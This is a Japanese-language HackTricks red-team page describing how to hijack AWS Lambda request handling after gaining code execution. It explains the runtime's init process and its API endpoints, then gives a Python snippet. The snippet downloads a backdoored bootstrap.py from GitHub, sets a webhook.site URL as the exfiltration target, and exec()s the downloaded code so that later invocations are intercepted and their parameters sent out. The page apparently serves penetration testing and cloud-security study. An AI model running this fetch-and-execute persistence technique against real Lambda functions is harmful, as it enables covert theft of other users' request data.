AWS - Steal Lambda Requests

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

Lambdaフロー

  1. Slicerは、コンテナ外のプロセスで、initプロセスに呼び出しを送信します。

  2. initプロセスは、いくつかの興味深いエンドポイントを公開するポート9001でリスンします:

  • /2018-06-01/runtime/invocation/next – 次の呼び出しイベントを取得します

  • /2018-06-01/runtime/invocation/{invoke-id}/response – 呼び出しのハンドラ応答を返します

  • /2018-06-01/runtime/invocation/{invoke-id}/error – 実行エラーを返します

  1. bootstrap.pyは、initプロセスから呼び出しを取得するループを持ち、ユーザーのコードを処理するためにそれらを呼び出します(/next)。

  2. 最後に、bootstrap.pyはinitに応答を送信します

ユーザーコードはモジュールとして読み込まれるため、ユーザーコードによって実行されるコード実行は実際にはこのプロセスで行われています。

Lambdaリクエストの盗み出し

この攻撃の目的は、ユーザーコードが脆弱なリクエストを処理する**bootstrap.pyプロセス内で悪意のあるbootstrap.pyプロセスを実行させることです。これにより、悪意のあるbootstrapプロセスはinitプロセスと通信を開始してリクエストを処理し、一方で正規のbootstrapは悪意のあるプロセスを実行**しているため、initプロセスにリクエストを要求しません。

これは、ユーザーコードが正規の**bootstrap.py**プロセスによって実行されているため、簡単に達成できるタスクです。したがって、攻撃者は次のことができます:

  • 現在の呼び出しの偽の結果をinitプロセスに送信して、initがbootstrapプロセスがさらに呼び出しを待っていると思うようにします。

  • リクエストを**/${invoke-id}/response**に送信する必要があります

  • invoke-idは、正規の**bootstrap.pyプロセスのスタックからinspect pythonモジュールを使用して取得できます(こちらで提案されているように)または単に再度/2018-06-01/runtime/invocation/next**にリクエストして取得できます(こちらで提案されているように)。

  • 次の呼び出しを処理する悪意のある**boostrap.py**を実行します

  • ステルス性を確保するために、Lambda呼び出しのパラメータを攻撃者が制御するC2に送信し、その後通常通りリクエストを処理できます。

  • この攻撃では、現在のLambda呼び出しから**bootstrap.py**の元のコードを取得し、githubから悪意のあるコードを追加して実行するだけで十分です。

攻撃手順

  1. RCEの脆弱性を見つける

  2. 悪意のある bootstrapを実行する

これらのアクションを簡単に実行できます。

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

詳細についてはhttps://github.com/carlospolop/lambda_bootstrap_switcherを参照してください。

参考文献

htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

最終更新